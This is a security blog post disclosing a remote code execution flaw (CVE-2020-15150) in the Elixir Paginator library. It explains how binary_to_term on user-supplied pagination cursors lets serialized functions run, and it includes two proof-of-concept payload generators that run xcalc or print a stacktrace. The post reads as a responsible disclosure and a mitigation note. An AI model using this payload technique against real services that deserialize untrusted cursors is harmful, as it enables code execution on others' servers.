Alphabot Security Blog

News, analysis and insights

RSS Feed

Back

23 Nov 2020 | Peter Stöckli

Remote code execution in Elixir-based Paginator

Intro

In August of this year I found a remote code execution vulnerability in the Elixir-based Paginator open-source project from Duffel (a UK-based startup in the flight searching space). The vulnerability has the CVE number CVE-2020-15150 assigned. Since Duffel seemed to use Paginator for its own REST API it seems likely that an attacker exploiting this vulnerability would have been able to execute code on Duffel’s (cloud) assets.

Vulnerability

This code execution vulnerability existed due to the use of Erlang’s binary_to_term in combination with untrusted user data. This function is much more dangerous when used in Elixir.

The vulnerability could have been triggered via Paginator’s user provided before/after cursors. As seen in Duffel’s Pagination API:

Duffel's Pagination REST API

The string g2wAAAACbQAAABBBZXJvbWlzdC1LaGFya2l2bQAAAB= is a Base64 encoded binary serialized Erlang term (ETF). Such an Erlang term can contain anything from simple string values to full-blown functions containing almost any code you’d like. However, in normal Erlang such a function provided in the payload would not be executed automatically (at least if nobody explicitly calls that function). In Elixir there’s a much higher chance that such a function is executed later down the road, thanks to the Enumerable protocol of Elixir.

Exploits

To demonstrate this vulnerability I created two exploits. The first one starts xcalc:

defp rce_start_xcalc() do
    exploit = fn _, _ ->  System.cmd("xcalc", []); {:cont, []} end
    payload =
    exploit
    |> :erlang.term_to_binary()
    |> Base.url_encode64()
end

The second one prints the stacktrace (so we see where our anonymous function has been triggered):

defp rce_print_stacktrace() do
    exploit = fn _, _ ->  IO.inspect(Process.info(self(), :current_stacktrace), label: "RCE STACKTRACE"); {:cont, []} end
    payload =
    exploit
    |> :erlang.term_to_binary()
    |> Base.url_encode64()
end

The functions above create a Base64 encoded exploit payload (same as the cursors used by Paginator). However, they do not include information about the whereabouts of the cursor, but instead contain an anonymous function that we want the server to execute. (An attacker would execute this functions above on his side, only providing the Base64 encoded payload to an API using Duffel’s Paginator.)

The stacktrace output of the second exploit payload looked like this (when executed from a unit test):

......RCE STACKTRACE: {:current_stacktrace,
[
{Process, :info, 2, [file: 'lib/process.ex', line: 767]},
{PaginatorTest, :"-rce_print_stacktrace/0-fun-0-", 2,
    [file: 'test/paginator_test.exs', line: 945]},
{Stream, :do_zip_next_tuple, 5, [file: 'lib/stream.ex', line: 1191]},
{Stream, :do_zip, 3, [file: 'lib/stream.ex', line: 1168]},
{Enum, :zip, 1, [file: 'lib/enum.ex', line: 2820]},
{Paginator.Ecto.Query, :filter_values, 4,
    [file: 'lib/paginator/ecto/query.ex', line: 43]},
{Paginator.Ecto.Query, :maybe_where, 2,
    [file: 'lib/paginator/ecto/query.ex', line: 103]},
{Paginator.Ecto.Query, :paginate, 2,
    [file: 'lib/paginator/ecto/query.ex', line: 12]},
{Paginator, :entries, 4, [file: 'lib/paginator.ex', line: 325]},
{Paginator, :paginate, 4, [file: 'lib/paginator.ex', line: 180]},
{PaginatorTest,
    :"test paginate a collection of payments, sorting by charged_at sorts ascending with before cursor",
    1, [file: 'test/paginator_test.exs', line: 78]},
{ExUnit.Runner, :exec_test, 1, [file: 'lib/ex_unit/runner.ex', line: 355]},
{:timer, :tc, 1, [file: 'timer.erl', line: 166]},
{ExUnit.Runner, :"-spawn_test_monitor/4-fun-1-", 4,
    [file: 'lib/ex_unit/runner.ex', line: 306]}
]}

This stacktrace reveals that the exploit function was triggered on line 43 of query.ex by the function Enum.zip: our anonymous function is implicitly called by Elixir (thanks to the Enumerable protocol).

Additional information

This is not the first time a vulnerability caused by the use of binary_to_term in combination with untrusted data has been found. Griffin Byatt probably discovered the first publicly known: Code execution through the session cookie in the popular and widely used Elixir Plug.

The Security Working Group of the Erlang Ecosystem Foundation has some recommendations regarding Serialisation and deserialisation including recommendations for mitigations.

Warning
The official Erlang documentation does "warn" about binary_to_term/1, and recommends binary_to_term/2. However, using binary_to_term/2 is not a protection against the code execution shown here (especially not in Elixir). In fact the paginator library used binary_to_term/2 with the safe option. Using binary_to_term/2 with the safe option only protects against certain Denial of Service attacks.

Thanks

Thanks are in order for Duffel (the maintainers of this project):

  • Firstly: Duffel fixed the vulnerability in less than one day and acted very professionally throughout the process.
  • Secondly: Despite not having a bug bounty program, Duffel payed a bounty of 1000 GBP, which I donated in parts to a fund providing help for victims of the explosion in the port of Lebanon.